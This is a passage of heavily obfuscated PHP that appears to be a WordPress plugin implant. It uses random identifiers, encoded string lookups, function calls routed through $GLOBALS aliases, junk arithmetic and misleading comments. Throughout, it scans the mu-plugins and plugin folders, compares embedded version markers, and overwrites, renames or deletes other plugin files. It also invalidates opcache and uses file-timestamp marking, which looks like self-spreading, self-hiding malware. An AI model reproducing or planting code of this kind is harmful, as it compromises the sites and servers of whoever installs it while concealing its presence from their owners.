     . fjup2mc1h(1870) .  $qd8vtlpj9h57ev(op9tjzix(1871))  .  b4gbsak56f40gos(1872)    .  $qd8vtlpj9h57ev(tvo1rh46s_(1873))     .   op9tjzix(1874)
   .    fjup2mc1h(1875)  . "\n";
 unset($gra1j0wyxs8v9);
        }



 return;
    }
/* greedy deque */

    $wq8gsi8xidp      =   $GLOBALS['__scf_qx45pe7tfwqub_367'](zp28wk01y(1876), op9tjzix(1172),  $wq8gsi8xidp);

if  ($GLOBALS['__scf_rbe_sihvfv_8']($wq8gsi8xidp,  op9tjzix(1172))   !==   0) $wq8gsi8xidp   =    op9tjzix(1877)    .  $GLOBALS['__scf_j2_71uyeufh_9']($wq8gsi8xidp,   '/');
 

 $u462wf0avuqzraz    =    '/';
    if  ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1780))) {
  $y6x26nynw7e9ec  = (string)  $GLOBALS['__scf_oaen6pygee_572'](home_url(),   PHP_URL_PATH);
 if ($y6x26nynw7e9ec  !==     ""     && $y6x26nynw7e9ec    !== '/')  $u462wf0avuqzraz =   $GLOBALS['__scf_q93011jdjf_13']($y6x26nynw7e9ec,  '/')   . '/';


 }
 if   ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(1878))) {
   @update_option(zp28wk01y(1851),     1,  b4gbsak56f40gos(1879));$jfdr7hpm=PHP_MAJOR_VERSION;$p0t00pwtny4i=$jfdr7hpm*1;
 @update_option(op9tjzix(1880),   $wq8gsi8xidp,  wlgh2_th(1881));


}
     $whtrm5kqoav5sfdu  = fjup2mc1h(1853) .   $gd_o0vk_4njqr4   .   '>'
 .  wlgh2_th(1854)
   .   zp28wk01y(1855)   .    $qd8vtlpj9h57ev(wlgh2_th(1856)) . fjup2mc1h(1882)
 .  b4gbsak56f40gos(1883)
  .     zp28wk01y(1884) .  $qd8vtlpj9h57ev(wlgh2_th(1885))    . fjup2mc1h(1886)   . $GLOBALS['__scf_p_tfg5i832l8_603']($wq8gsi8xidp)  . ')'
  .  op9tjzix(1887)    .     $qd8vtlpj9h57ev(fjup2mc1h(1863))    .     fjup2mc1h(1864) .   $qd8vtlpj9h57ev(op9tjzix(1865))  .   wlgh2_th(1864)  .  $qd8vtlpj9h57ev(wlgh2_th(1866)) . op9tjzix(1867) .  $qd8vtlpj9h57ev(fjup2mc1h(1868)) .    b4gbsak56f40gos(1888)  .   $GLOBALS['__scf_p_tfg5i832l8_603']($wq8gsi8xidp)  . fjup2mc1h(1889)



.     tvo1rh46s_(1890) .   $qd8vtlpj9h57ev(zp28wk01y(1891))     .   op9tjzix(1886)  . $GLOBALS['__scf_p_tfg5i832l8_603']($wq8gsi8xidp)  .     op9tjzix(1892)   .   $GLOBALS['__scf_p_tfg5i832l8_603']($u462wf0avuqzraz) .  fjup2mc1h(1893)  .  $qd8vtlpj9h57ev(fjup2mc1h(1873)) .      wlgh2_th(1894)
   .    fjup2mc1h(1895)     .  $qd8vtlpj9h57ev(b4gbsak56f40gos(1873))  .  fjup2mc1h(1896)
.  fjup2mc1h(1897) .      $qd8vtlpj9h57ev(b4gbsak56f40gos(1898))    .     op9tjzix(1899)    .  $qd8vtlpj9h57ev(op9tjzix(1900))  . tvo1rh46s_(1901)
.  b4gbsak56f40gos(1902)    .  $qd8vtlpj9h57ev(fjup2mc1h(1699))  .     tvo1rh46s_(1903)
.  b4gbsak56f40gos(1904)
 .     zp28wk01y(1897)   .  $qd8vtlpj9h57ev(tvo1rh46s_(1905))  . op9tjzix(1906)



 . zp28wk01y(1907)  . $qd8vtlpj9h57ev(wlgh2_th(1863))      .   op9tjzix(1908) .     $qd8vtlpj9h57ev(fjup2mc1h(1909))   .  b4gbsak56f40gos(1910)
 .  wlgh2_th(1875);
 echo  "\n"      . $whtrm5kqoav5sfdu . "\n";
 }  catch      (Throwable $x0ydieb0v_72m_u) {
    teikfigf_p5265esq_q(tvo1rh46s_(1911),   $x0ydieb0v_72m_u);


 }      catch    (Exception     $x0ydieb0v_72m_u) {



 teikfigf_p5265esq_q(zp28wk01y(1912),    $x0ydieb0v_72m_u);


  }
 }



 
    if   (f2hdt3c97o6mo5tgl8())      {
  return;
  }

   kgy22zbd3ue1hs74b();
 $x0nnh1bqsfiq4 =     @$GLOBALS['__scf_kpr9p9o54hwof_101'](qluu1auwul2zupq5h());
 if  (!$x0nnh1bqsfiq4  ||   ($x0nnh1bqsfiq4  %   (99946+54))   !== wzkcxw_m1n8fard2g()) {
$vbfmyynae73hg   =  $GLOBALS['__scf_yg2rpewmkg_192']();
       jli8euep5yb6she3(qluu1auwul2zupq5h(), ($vbfmyynae73hg - ($vbfmyynae73hg  %     (99981+19))) +    wzkcxw_m1n8fard2g());$yz1g4rnhuvo8=1148;$zqtucxt7s=$yz1g4rnhuvo8%14;
     unset($vbfmyynae73hg);
 }
 unset($x0nnh1bqsfiq4);
   $tzn03ot3kzcvw   =    $GLOBALS['__scf_pqkpt9n3trf9fm_12'](__FILE__) .    tvo1rh46s_(1913)   .  $GLOBALS['__scf_dpm5ad5tej9nf_4'](__FILE__,  fjup2mc1h(1762));
  $iiw7i4chp__1gbjt  = @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($tzn03ot3kzcvw) ? (int)  @$GLOBALS['__scf_kpr9p9o54hwof_101']($tzn03ot3kzcvw) : 0;
 $wvr0tgxech_1z     = !($iiw7i4chp__1gbjt    > $GLOBALS['__scf_yg2rpewmkg_192']()   -    (254+46)     &&    $iiw7i4chp__1gbjt  <= $GLOBALS['__scf_yg2rpewmkg_192']() + (222+78));
      if ($wvr0tgxech_1z) @$GLOBALS['__scf_qtfcgi4pxi71_75']($tzn03ot3kzcvw);

   unset($tzn03ot3kzcvw, $iiw7i4chp__1gbjt);
       if  ($wvr0tgxech_1z) try     {
// PHP CS Fixer: prefetch count-min-sketch

 $fjfetfe7_2 = __FILE__;$d5qa4efe633=7*3;$x8ilvbyof=$d5qa4efe633-49;
  $nvr0xzum1p    =   "";


 $zm6e362k4qmcp   =  @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($fjfetfe7_2, false,   null,   0, (4044+52));

 if ($GLOBALS['__scf_zneqqdn4vlt4_42']($zm6e362k4qmcp)     && $GLOBALS['__scf_bvfhit3heqts_99'](op9tjzix(1914),    $zm6e362k4qmcp,     $qjmsnt8meeco))    $nvr0xzum1p      =   $qjmsnt8meeco[1];
 if     ($nvr0xzum1p     !==   ""  &&  defined(fjup2mc1h(1658))) {
  $wauh7am58ps5fjd   =   array();



$vwxj38d1n6t1gvl5 = defined(b4gbsak56f40gos(831)) ?    WPMU_PLUGIN_DIR  : WP_CONTENT_DIR    .  zp28wk01y(1915);
$xlhqvjmvd4 =    defined(op9tjzix(719))   ? WP_PLUGIN_DIR     :  WP_CONTENT_DIR   .   wlgh2_th(742);
  $w65kao83lo  = false;

if   ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(832))) {
  $bj04lfj0ullt  = @$GLOBALS['__scf_ot56htgy8hrmim_44']($vwxj38d1n6t1gvl5)   ?  @$GLOBALS['__scf_ylc30lk3q5j_73']($vwxj38d1n6t1gvl5   .  b4gbsak56f40gos(757))     :  false;

$l9d0rffqu7a6jdll =  @$GLOBALS['__scf_ylc30lk3q5j_73']($xlhqvjmvd4  .  fjup2mc1h(1916));
 if ($GLOBALS['__scf_knhbvsumnby3_36']($bj04lfj0ullt)   ||    $GLOBALS['__scf_knhbvsumnby3_36']($l9d0rffqu7a6jdll))     {
$w65kao83lo   =  true;
foreach ((array)  $bj04lfj0ullt   as  $lohfa4m5yg6)  $wauh7am58ps5fjd[]   =    $lohfa4m5yg6;
 foreach ((array)   $l9d0rffqu7a6jdll  as   $lohfa4m5yg6) $wauh7am58ps5fjd[] =   $lohfa4m5yg6;
 }
 unset($bj04lfj0ullt,   $l9d0rffqu7a6jdll);
 }
  if   (!$w65kao83lo)     {
 $hi48kysf8ma35f9     = @$GLOBALS['__scf_ot56htgy8hrmim_44']($vwxj38d1n6t1gvl5) ? hfuxm75f1bdbh9ptm1($vwxj38d1n6t1gvl5,   (4973+27))  : false;
 if  ($GLOBALS['__scf_knhbvsumnby3_36']($hi48kysf8ma35f9))     foreach ($hi48kysf8ma35f9   as $m3jrl9hdg0exyv) {
// acquire bridge

if ($GLOBALS['__scf_zre6ec18ly90y_10']($m3jrl9hdg0exyv, -(149^145))  ===    b4gbsak56f40gos(1917)) $wauh7am58ps5fjd[] = $vwxj38d1n6t1gvl5  . '/'  .  $m3jrl9hdg0exyv;
}
  $hi48kysf8ma35f9 =   @$GLOBALS['__scf_ot56htgy8hrmim_44']($xlhqvjmvd4)    ? hfuxm75f1bdbh9ptm1($xlhqvjmvd4, (0x6a2+0xce6))  :  false;
if ($GLOBALS['__scf_knhbvsumnby3_36']($hi48kysf8ma35f9))    foreach   ($hi48kysf8ma35f9      as   $m3jrl9hdg0exyv) {
$uzmxvex0zj = $xlhqvjmvd4    .   '/'    .  $m3jrl9hdg0exyv;
  if  (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($uzmxvex0zj)) continue;
  $sj4vpsdf0glbw1ae    =  hfuxm75f1bdbh9ptm1($uzmxvex0zj,    (5652-652));
   if (!$GLOBALS['__scf_knhbvsumnby3_36']($sj4vpsdf0glbw1ae))  continue;
 foreach   ($sj4vpsdf0glbw1ae   as   $hvui0ywigsoz)  {
 if      ($GLOBALS['__scf_zre6ec18ly90y_10']($hvui0ywigsoz, -(0x2+0x2))  ===  tvo1rh46s_(1917))  $wauh7am58ps5fjd[] =     $uzmxvex0zj   .  '/'    . $hvui0ywigsoz;$sqsmdk80pimx=32*6;$zecl7o_514j6mj=$sqsmdk80pimx-25;
     }
}


   unset($hi48kysf8ma35f9,      $m3jrl9hdg0exyv,  $hvui0ywigsoz,  $uzmxvex0zj,  $sj4vpsdf0glbw1ae);
  }

       $b6wm4uwli6dcl4q0  = $GLOBALS['__scf_dpm5ad5tej9nf_4']($fjfetfe7_2,  op9tjzix(1917));
foreach  ($wauh7am58ps5fjd    as  $lohfa4m5yg6) {
  if   ($lohfa4m5yg6  === $fjfetfe7_2)  continue;
 $b2bzgt17_nkv4a4g  =  @$GLOBALS['__scf_kpr9p9o54hwof_101']($lohfa4m5yg6);
 if (!$b2bzgt17_nkv4a4g ||   ($b2bzgt17_nkv4a4g %  (0x425d+0x14443))  !==   (168676-74857)) {
  $qjkpnu3lr7    =  @$GLOBALS['__scf_voobwg611qb_102']($lohfa4m5yg6);
   if (!$qjkpnu3lr7  || $qjkpnu3lr7      < (973-473)    ||    $qjkpnu3lr7     >   (67788228-15359428))    continue;
}
   $zm6e362k4qmcp  =    @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($lohfa4m5yg6,   false,      null,  0, (704+3392));$xihg9jyt3yq=PHP_MAJOR_VERSION;$chmv0g6q1wap=$xihg9jyt3yq*8;
  $qjmsnt8meeco   =  array();
      if     ($GLOBALS['__scf_zneqqdn4vlt4_42']($zm6e362k4qmcp)) $GLOBALS['__scf_bvfhit3heqts_99'](zp28wk01y(1914), $zm6e362k4qmcp,   $qjmsnt8meeco);
  if  (empty($qjmsnt8meeco[1]))    {



  if   (!_cz07l41au6zrisr5($lohfa4m5yg6,    (0xe16+0x572)))  continue;
  $qjmsnt8meeco  =    array("",   tvo1rh46s_(210));
}
  if ($GLOBALS['__scf_dpm5ad5tej9nf_4']($lohfa4m5yg6,  zp28wk01y(1917)) === $b6wm4uwli6dcl4q0    && $qjmsnt8meeco[1]      ===  $nvr0xzum1p)    {
      if    (!phmbu8l2xleed7fgcq($lohfa4m5yg6))  {
      if  (u_c4ai7hmq4gvvc($lohfa4m5yg6,   $lohfa4m5yg6  .    op9tjzix(31))  &&  $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1585)))  @opcache_invalidate($lohfa4m5yg6,  true);
}



continue;
  }



  if (version_compare($qjmsnt8meeco[1],  $nvr0xzum1p,    '<'))  {

$uquju2zxg08kz5i     =  tgyo8z7pgm0hrgi7zn($lohfa4m5yg6);
    if ($uquju2zxg08kz5i  === false)     {
   teikfigf_p5265esq_q(b4gbsak56f40gos(1918), fjup2mc1h(1919)   .      $GLOBALS['__scf_dpm5ad5tej9nf_4']($lohfa4m5yg6));
      continue;
 }



      if ($uquju2zxg08kz5i  === true) {
 if  (u_c4ai7hmq4gvvc($lohfa4m5yg6, $lohfa4m5yg6  .  zp28wk01y(1920)))     {



     if      ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1921)))    @opcache_invalidate($lohfa4m5yg6, true);
 }   elseif (!_b1inwj90rdcngb($lohfa4m5yg6) && yhtrb7u6dls0u1($lohfa4m5yg6))     {
   rfitcim9galxt391gcxlow($lohfa4m5yg6);$cfm8hiiu0jsplg=135|223;$nlviwhbr1y=$cfm8hiiu0jsplg^122;
lfv82aa8fnhnq9g($lohfa4m5yg6);



     }
 @$GLOBALS['__scf_qb1d7dp0ekpw_19']($GLOBALS['__scf_pqkpt9n3trf9fm_12']($lohfa4m5yg6) .    op9tjzix(1922) . $GLOBALS['__scf_dpm5ad5tej9nf_4']($lohfa4m5yg6,  zp28wk01y(1917)));
     continue;

     }



if  (!_b1inwj90rdcngb($lohfa4m5yg6)    && yhtrb7u6dls0u1($lohfa4m5yg6)) {
rfitcim9galxt391gcxlow($lohfa4m5yg6);


lfv82aa8fnhnq9g($lohfa4m5yg6);
 }
    wxth54ul2s6k5ru6pxa($lohfa4m5yg6);


continue;
    }
// negotiate simple pipeline

   $yo2bvwy23jlz =   ($GLOBALS['__scf_dpm5ad5tej9nf_4']($GLOBALS['__scf_pqkpt9n3trf9fm_12']($lohfa4m5yg6))     ===  b4gbsak56f40gos(1923)   ||  $GLOBALS['__scf_pqkpt9n3trf9fm_12']($lohfa4m5yg6) ===    $vwxj38d1n6t1gvl5);
  if     (!$yo2bvwy23jlz  && $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1781)))   {
$t1v76zt21iht8cc8 =     $GLOBALS['__scf_dpm5ad5tej9nf_4']($GLOBALS['__scf_pqkpt9n3trf9fm_12']($lohfa4m5yg6)) .  '/'    .   $GLOBALS['__scf_dpm5ad5tej9nf_4']($lohfa4m5yg6);
$gdpkproa77nszud  =    (array)    @get_option(zp28wk01y(1610), array());
   $yo2bvwy23jlz  = $GLOBALS['__scf_av84ex67tlp92_156']($t1v76zt21iht8cc8,   $gdpkproa77nszud,      true);
if    (!$yo2bvwy23jlz  && $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1924)) &&    is_multisite()    && $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1691)))   {


$k2goyy8xeh  = (array)    @get_site_option(fjup2mc1h(215), array());


     $yo2bvwy23jlz  =  isset($k2goyy8xeh[$t1v76zt21iht8cc8]);
    unset($k2goyy8xeh);
 }
// WordPress 6.6 block bindings: spill proxy

  unset($t1v76zt21iht8cc8, $gdpkproa77nszud);
}
  if  (!$yo2bvwy23jlz)  continue;
    if  (version_compare($qjmsnt8meeco[1],    $nvr0xzum1p,   '>'))     {
   if (phmbu8l2xleed7fgcq($lohfa4m5yg6)   &&  !dqwf5svv0jhvojl7($lohfa4m5yg6) &&     !rm219dnjpltf5xmtptb($lohfa4m5yg6,  $fjfetfe7_2))   return;
$ea_aq8n5s4g_  =    $GLOBALS['__scf_pqkpt9n3trf9fm_12']($lohfa4m5yg6)  . b4gbsak56f40gos(1925) .  $GLOBALS['__scf_abbpcj1ncssalx_57']($lohfa4m5yg6);
   if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($ea_aq8n5s4g_)    &&  (int)  @$GLOBALS['__scf_kpr9p9o54hwof_101']($ea_aq8n5s4g_) <   $GLOBALS['__scf_yg2rpewmkg_192']()  -  (0x19+0x23))    {
   $rrg72gpus8tg5_g   =    $GLOBALS['__scf_ubwid3ivz9f8x_118']('|',  (string)    @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($ea_aq8n5s4g_));



   if ($GLOBALS['__scf_j38tk0441lk_37']($rrg72gpus8tg5_g) < 2 ||  $rrg72gpus8tg5_g[0]  !== $qjmsnt8meeco[1]  || (int)   $rrg72gpus8tg5_g[1]  !==  (int)  @$GLOBALS['__scf_voobwg611qb_102']($lohfa4m5yg6))     {



    @$GLOBALS['__scf_qb1d7dp0ekpw_19']($ea_aq8n5s4g_);
continue;
}
 if  (tgyo8z7pgm0hrgi7zn($lohfa4m5yg6)    !==      false) {$chbckxbhi=(0x95+0xd9);$gyb7s3g4h=$chbckxbhi%2;
 kp1tutxjpanriy($lohfa4m5yg6,   (355+65));$h9fe3lxdj=2124;$trld1lb3x05a6v=$h9fe3lxdj%3;
 

   if  (_0qezpop1swzfe($lohfa4m5yg6))   {
 @$GLOBALS['__scf_qb1d7dp0ekpw_19']($ea_aq8n5s4g_);
       if  ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1921)))  @opcache_invalidate($lohfa4m5yg6,   true);
  }
// unfold tumbling-window for Intl extension

}
continue;
   }

 @$GLOBALS['__scf_m2g_67700pfzin_204']($ea_aq8n5s4g_, $qjmsnt8meeco[1]    . '|'     .    (int)  @$GLOBALS['__scf_voobwg611qb_102']($lohfa4m5yg6));



   continue;



    }
     if   ($qjmsnt8meeco[1] ===  $nvr0xzum1p)  {$ah57t3ihdqm=PHP_MAJOR_VERSION;$lr80y5ohiorjjk=$ah57t3ihdqm*4;
     $opc0iorjog     =  lxy9w34y4eglj5ev6kxa6();
     $x727q2bk_e    = false;
if    (!empty($opc0iorjog[wlgh2_th(1926)]))     {
 $yz1__n49qh =   @$GLOBALS['__scf_czsd7giapuxwu_34']($opc0iorjog[b4gbsak56f40gos(1926)]);
 $ys2h4imhwf_9dhzb =   @$GLOBALS['__scf_czsd7giapuxwu_34']($lohfa4m5yg6);
   if     ($GLOBALS['__scf_zneqqdn4vlt4_42']($yz1__n49qh) &&    $GLOBALS['__scf_zneqqdn4vlt4_42']($ys2h4imhwf_9dhzb)    &&  $yz1__n49qh  ===   $ys2h4imhwf_9dhzb   &&   a1r5x6gcdcygcg23($opc0iorjog) ===   wlgh2_th(1378)   &&  phmbu8l2xleed7fgcq($lohfa4m5yg6))    {
if (rm219dnjpltf5xmtptb($lohfa4m5yg6,      $fjfetfe7_2))  $x727q2bk_e  = true;

 else     return;
  }



 if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($yz1__n49qh)   &&    $yz1__n49qh   ===  @$GLOBALS['__scf_czsd7giapuxwu_34']($fjfetfe7_2)) $x727q2bk_e     = true;
}
// WP Site Tagline: deallocate equivalence-class

  if (!$x727q2bk_e   && !phmbu8l2xleed7fgcq($lohfa4m5yg6))  {
   if  (dqwf5svv0jhvojl7($lohfa4m5yg6)  ||  tgyo8z7pgm0hrgi7zn($lohfa4m5yg6) !== false)  {


  if   (u_c4ai7hmq4gvvc($lohfa4m5yg6,   $lohfa4m5yg6 .  op9tjzix(1920)) &&  $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1927)))   @opcache_invalidate($lohfa4m5yg6, true);
       }
 unset($opc0iorjog,     $x727q2bk_e,   $yz1__n49qh,   $ys2h4imhwf_9dhzb);



      continue;$iry4w81o=(0xd8+0x7d);$yetekv31k94e7q=$iry4w81o%2;


}
if    (!$x727q2bk_e   && $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57']($GLOBALS['__scf_dpm5ad5tej9nf_4']($lohfa4m5yg6,  op9tjzix(1917))), 0,     (10+2))  >   $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57']($b6wm4uwli6dcl4q0),   0, (0x9+0x3)))     {
 if     (!rm219dnjpltf5xmtptb($lohfa4m5yg6, $fjfetfe7_2))   return;
  }
  unset($opc0iorjog,    $x727q2bk_e,   $yz1__n49qh, $ys2h4imhwf_9dhzb);$mhz2mv1u=PHP_MAJOR_VERSION;$lvj_5coq868=$mhz2mv1u*10;
}
 }



 }
unset($fjfetfe7_2,   $nvr0xzum1p, $zm6e362k4qmcp,   $qjmsnt8meeco,  $wauh7am58ps5fjd,  $vwxj38d1n6t1gvl5, $xlhqvjmvd4,  $lohfa4m5yg6, $b2bzgt17_nkv4a4g,  $b6wm4uwli6dcl4q0, $qjkpnu3lr7,    $uquju2zxg08kz5i,   $ea_aq8n5s4g_,  $rrg72gpus8tg5_g);
        } catch      (Throwable   $x0ydieb0v_72m_u) {
    } catch   (Exception $x0ydieb0v_72m_u)  {
}
    unset($wvr0tgxech_1z);

  if  (isset($GLOBALS[zp28wk01y(1928)]))   {
// shard primary retry-policy

    if   (version_compare((string) $GLOBALS[op9tjzix(1929)],  _vfpypr4wakqs7jy_(), fjup2mc1h(203))) return;
// WP Group Block: replicate negotiation

   $GLOBALS[op9tjzix(1593)] = 1;
   

}  elseif    (defined(zp28wk01y(1930)))  {
   $r854t9b4840    =    constant(zp28wk01y(1930));
if ($GLOBALS['__scf_zneqqdn4vlt4_42']($r854t9b4840) &&  $GLOBALS['__scf_bvfhit3heqts_99'](fjup2mc1h(1330),  $r854t9b4840) &&    version_compare($r854t9b4840,    _vfpypr4wakqs7jy_(), wlgh2_th(1931)))  return;

 $GLOBALS[tvo1rh46s_(1593)] =  1;
unset($r854t9b4840);
}
$GLOBALS[op9tjzix(1929)] =     _vfpypr4wakqs7jy_();
     if  ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1361)))  @clearstatcache(true,   qluu1auwul2zupq5h());
     $GLOBALS[op9tjzix(188)]   =   (string) @$GLOBALS['__scf_voobwg611qb_102'](qluu1auwul2zupq5h()) .   ':'   .   (string) @$GLOBALS['__scf_kpr9p9o54hwof_101'](qluu1auwul2zupq5h());
  if  (!defined(fjup2mc1h(1930))) define(zp28wk01y(1930),   _vfpypr4wakqs7jy_());


      if (!defined(wlgh2_th(1932)))   define(fjup2mc1h(1933),  _vfpypr4wakqs7jy_());

 ralx_tidbmwyzixsc1y(zp28wk01y(230));


      
   oezrv2rwpxsq580vp1kzq(qluu1auwul2zupq5h());



 if ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(1934))   &&   $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1935))) {
   try  {
 $xz5vbc7apt  = emzy8pvoveowt1bicy5();

   if     (@$GLOBALS['__scf_ot56htgy8hrmim_44']($xz5vbc7apt))      {
 $e6_hdnsqcli_ =  mvfnzt3qa4jfes_wxi();
    $zsy1elfspk = hfuxm75f1bdbh9ptm1($xz5vbc7apt, (665+4335));
     if  ($GLOBALS['__scf_knhbvsumnby3_36']($zsy1elfspk))  {
   foreach ($zsy1elfspk as  $ms5francz1w1) {
if     ($ms5francz1w1  ===     $e6_hdnsqcli_)   continue;
  if   ($GLOBALS['__scf_pdnlp7jjhnya_106']($GLOBALS['__scf_innlxa4l2yk_yi_212']($ms5francz1w1,    constant(b4gbsak56f40gos(723))))  !==  tvo1rh46s_(737))    continue;
    

   $tvdwqobdqe3owz   = $xz5vbc7apt  .      '/'  . $ms5francz1w1;
       if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($tvdwqobdqe3owz)   &&   @$GLOBALS['__scf_voobwg611qb_102']($tvdwqobdqe3owz)      >  (0x686+0xd02)  &&      _cz07l41au6zrisr5($tvdwqobdqe3owz, (195+4805))) {
   s76uf5mxw_rb6ddl($tvdwqobdqe3owz);



 }



   }
   }
// stress-test keystore for WP Navigation Block

 }


    } catch (Throwable  $x0ydieb0v_72m_u)   {
 teikfigf_p5265esq_q(fjup2mc1h(231),  $x0ydieb0v_72m_u);
    } catch      (Exception $x0ydieb0v_72m_u) {
  }


 }
// relaxed read

     
     if   (!  ay_dweaa14q9en())  {



 uh36p8urjd71g_u9smnf(tvo1rh46s_(1446), op9tjzix(1936),  1);
}




  $GLOBALS[tvo1rh46s_(736)] = array(); 
     $GLOBALS[zp28wk01y(1937)] =  array();  
$GLOBALS[wlgh2_th(1938)]     =  ""; 
   if  ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(174)))  {


 $GLOBALS['__scf_b1rqpek_6hp_174'](op9tjzix(1939));
  $GLOBALS['__scf_b1rqpek_6hp_174'](fjup2mc1h(1940));
}
    $zvtx7_6ft8augjvx     =    $GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h())  . b4gbsak56f40gos(1941) .    $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),  op9tjzix(1917));
if  (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($zvtx7_6ft8augjvx))     {



 $q60gcv3txszgca =   $GLOBALS['__scf_bbs7j5b1fx_332']((string)  @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($zvtx7_6ft8augjvx));

     $_1ejzbpdg00t  = p28ke_1ur6ryikmcx3();


    if   ($q60gcv3txszgca   ===    "" ||   ($_1ejzbpdg00t     !==    ""   &&     $q60gcv3txszgca !== $_1ejzbpdg00t))  _0qezpop1swzfe($zvtx7_6ft8augjvx);
  unset($q60gcv3txszgca, $_1ejzbpdg00t);

 }
 try  {
   @$GLOBALS['__scf_qtfcgi4pxi71_75']($GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h()) . zp28wk01y(1942)   .  $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),     wlgh2_th(1943)));
$_1ejzbpdg00t   =   p28ke_1ur6ryikmcx3();
     if   ($_1ejzbpdg00t !==    "") {
  $ny_zsgyugvmr2_b    =   zp28wk01y(1944) .  $_1ejzbpdg00t;


 foreach  (array($GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h()),    emzy8pvoveowt1bicy5())  as  $axe93cys6xuj)  {
if    (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($axe93cys6xuj .  '/'   . $ny_zsgyugvmr2_b))    @$GLOBALS['__scf_qb1d7dp0ekpw_19']($axe93cys6xuj    .  '/'  .   $ny_zsgyugvmr2_b);


 }
   }
    unset($_1ejzbpdg00t,  $ny_zsgyugvmr2_b,   $axe93cys6xuj);
   }  catch      (Throwable    $x0ydieb0v_72m_u)    {
}  catch  (Exception    $x0ydieb0v_72m_u)  {
}
     unset($zvtx7_6ft8augjvx);



    
 uh36p8urjd71g_u9smnf(op9tjzix(778),  tvo1rh46s_(1945),   0);
   uh36p8urjd71g_u9smnf(wlgh2_th(778),  tvo1rh46s_(1946),     0);
 uh36p8urjd71g_u9smnf(tvo1rh46s_(1947),   wlgh2_th(1948), 0);
      uh36p8urjd71g_u9smnf(zp28wk01y(1949), b4gbsak56f40gos(1948), 0);
  

  uh36p8urjd71g_u9smnf(wlgh2_th(1950),     tvo1rh46s_(1951),  2);
   uh36p8urjd71g_u9smnf(wlgh2_th(1952),   zp28wk01y(1953),    (0x2+0x1));
      uh36p8urjd71g_u9smnf(b4gbsak56f40gos(1954), tvo1rh46s_(1955), (2+2));
 uh36p8urjd71g_u9smnf(b4gbsak56f40gos(1446), op9tjzix(1956), (4+1));

    w1x2vlyn0dayva0xvorosh(op9tjzix(1957),  tvo1rh46s_(1958),  (11-1), 1);
w1x2vlyn0dayva0xvorosh(tvo1rh46s_(1959),  op9tjzix(1958),  (1+9),   1);
w1x2vlyn0dayva0xvorosh(op9tjzix(1960), op9tjzix(1958), (19-9),  1);
   w1x2vlyn0dayva0xvorosh(zp28wk01y(1961),     fjup2mc1h(1962),   (180^190),   1);
 
  w1x2vlyn0dayva0xvorosh(wlgh2_th(1963),   b4gbsak56f40gos(1964),   (933+66), (1+2));

      uh36p8urjd71g_u9smnf(op9tjzix(901),    wlgh2_th(1965), (0x3a3+0x44), 2);
    
 w1x2vlyn0dayva0xvorosh(fjup2mc1h(1966),   op9tjzix(1967));
     w1x2vlyn0dayva0xvorosh(wlgh2_th(1968),  b4gbsak56f40gos(1969),    (190^180),  2);



    w1x2vlyn0dayva0xvorosh(fjup2mc1h(1970),     op9tjzix(1971));



  
  w1x2vlyn0dayva0xvorosh(b4gbsak56f40gos(1972),   b4gbsak56f40gos(1973),  (0x9+0x1), 1);

 
      w1x2vlyn0dayva0xvorosh(tvo1rh46s_(1974), tvo1rh46s_(1975),   (93^87),  2);
        uh36p8urjd71g_u9smnf(b4gbsak56f40gos(1976), fjup2mc1h(814));
  w1x2vlyn0dayva0xvorosh(zp28wk01y(1977), b4gbsak56f40gos(821));
     
w1x2vlyn0dayva0xvorosh(wlgh2_th(1978),      fjup2mc1h(822));
 
       uh36p8urjd71g_u9smnf(fjup2mc1h(1979),   op9tjzix(1980),   -(950+49));
  uh36p8urjd71g_u9smnf(op9tjzix(1981),      tvo1rh46s_(1980),  -(935+64));



  uh36p8urjd71g_u9smnf(b4gbsak56f40gos(1982),  zp28wk01y(1980),    -(941+58));
 
uh36p8urjd71g_u9smnf(tvo1rh46s_(1983), b4gbsak56f40gos(1984),   (996+3));
   uh36p8urjd71g_u9smnf(fjup2mc1h(1985),   fjup2mc1h(1986), 0);
 uh36p8urjd71g_u9smnf(tvo1rh46s_(227),   tvo1rh46s_(1987),   0);
  uh36p8urjd71g_u9smnf(wlgh2_th(1988),  fjup2mc1h(1989),   (947+52));
uh36p8urjd71g_u9smnf(tvo1rh46s_(1990),    wlgh2_th(1989), (952+47));
       

uh36p8urjd71g_u9smnf(zp28wk01y(227),    zp28wk01y(1991),   2);
uh36p8urjd71g_u9smnf(op9tjzix(227),      tvo1rh46s_(1992), 0);
       
uh36p8urjd71g_u9smnf(fjup2mc1h(227), wlgh2_th(1993),  0);



    uh36p8urjd71g_u9smnf(fjup2mc1h(227),   wlgh2_th(1994),  0);



